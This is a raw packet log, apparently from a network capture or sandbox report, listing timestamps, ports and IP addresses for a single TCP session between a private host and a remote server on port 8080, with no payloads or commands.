Nov 25, 2024 11:10:17.086400032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086415052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086437941 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.086468935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086474895 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.086484909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086502075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086517096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086533070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086538076 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.086546898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086580038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.086612940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.206221104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.206279039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.206353903 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.306248903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.306266069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.306416035 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.308623075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.308706045 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.308798075 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.317022085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.317140102 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.317275047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.325392962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.325485945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.325537920 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.333849907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.333862066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.333918095 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.342246056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.342335939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.342396021 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.350617886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.350764036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.350827932 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.359011889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.359086990 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.359150887 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.367445946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.367542982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.367600918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.375783920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.375947952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.376027107 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.384232998 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.384347916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.384401083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.425952911 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.426120043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.426182032 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.498234987 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.498296022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.498352051 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.525733948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.525826931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.525911093 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.528553009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.529592037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.529676914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.529680014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.535309076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.535347939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.535387039 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.540958881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.541040897 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.541114092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.546617985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.546708107 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.546763897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.552294970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.552365065 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.552402020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.558149099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.558202028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.558228016 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.561851978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.561923027 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.561970949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.565623999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.565682888 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.565732956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.569538116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.569588900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.569602966 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.573249102 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.573333979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.573358059 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.577177048 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.577241898 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.577254057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.580894947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.580981970 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.581003904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.584655046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.584767103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.584837914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.588610888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.588684082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.588707924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.592370987 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.592438936 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.592515945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.596120119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.596182108 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.596209049 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.600395918 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.600428104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.600461960 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.603770018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.603822947 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.603878975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.607599020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.607676029 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.690248013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.690324068 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.690380096 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.692115068 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.717937946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.718000889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.718024969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.719530106 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.719588041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.719634056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.722824097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.722876072 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.722946882 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.726094007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.726166964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.745589018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.745750904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.745815039 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.747066975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.747596025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.747644901 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.747801065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.750659943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.750700951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.750714064 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.753667116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.753720999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.753772974 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.756652117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.756705046 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.756771088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.759789944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.759856939 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.759859085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.762728930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.762795925 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.762834072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.765882015 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.765943050 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.766000986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.768791914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.768856049 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.768912077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.771806002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.771867037 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.771889925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.774852037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.774912119 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.774957895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.777919054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.777945042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.777976036 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.780898094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.780961990 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.781018019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.783978939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.784033060 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.784094095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.786973000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.787036896 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.787048101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.789948940 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.790004969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.790067911 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.793004036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.793057919 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.793086052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.796045065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.796097994 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.796185017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.799055099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.799113035 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.799185038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.802144051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.802184105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.802197933 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.805072069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.805128098 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.805191040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.808121920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.808178902 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.808219910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.811160088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.811218023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.811219931 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.814148903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.814224958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.814253092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.817198038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.817251921 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.817277908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.820338964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.820415974 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.820466042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.823255062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.823339939 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.823359966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.826241016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.826292992 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.826447010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.829307079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.829355001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.829411983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.832300901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.832372904 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.832402945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.835318089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.835400105 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.835411072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.882332087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.882425070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.882442951 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.883795023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.884501934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.884531975 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.884660006 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.884710073 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.887428999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.909837008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.909873009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.909970045 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.910613060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.910670042 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.910717010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.913784981 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.913841963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.913897038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.916680098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.916747093 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.916821003 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.919971943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.920042038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.920156956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.922766924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.922822952 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.922854900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.925539970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.925601959 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.925674915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.937649012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.937696934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.937716007 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.938390017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.938441038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.938505888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.939944029 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.939994097 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.940464973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.940583944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.940634966 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.942262888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.942442894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.942492008 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.943526983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.943640947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.943694115 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.945050001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.945159912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.945214033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.946677923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.946758032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.946811914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.965780973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.965864897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.965936899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.966419935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.966623068 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.966674089 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.967844009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.967952967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.968002081 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.969322920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.969423056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.969471931 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.970875025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.970964909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.971014023 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.972379923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.972501040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.972548962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.973668098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.973781109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.973834038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.975096941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.975204945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.975253105 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.976562023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.976646900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.976694107 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.978050947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.978087902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.978138924 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.979477882 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.979597092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.979645014 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.980918884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.981029034 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.981077909 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.982367039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.982454062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.982503891 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.983825922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.983942032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.983998060 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.985285044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.985399961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.985452890 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.986726046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.986833096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.986885071 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.988231897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.988332033 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.988396883 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.989623070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.989720106 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.989773035 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:17.991156101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.991214037 CET	8080	49705	43.199.41.35	192.168.2.5
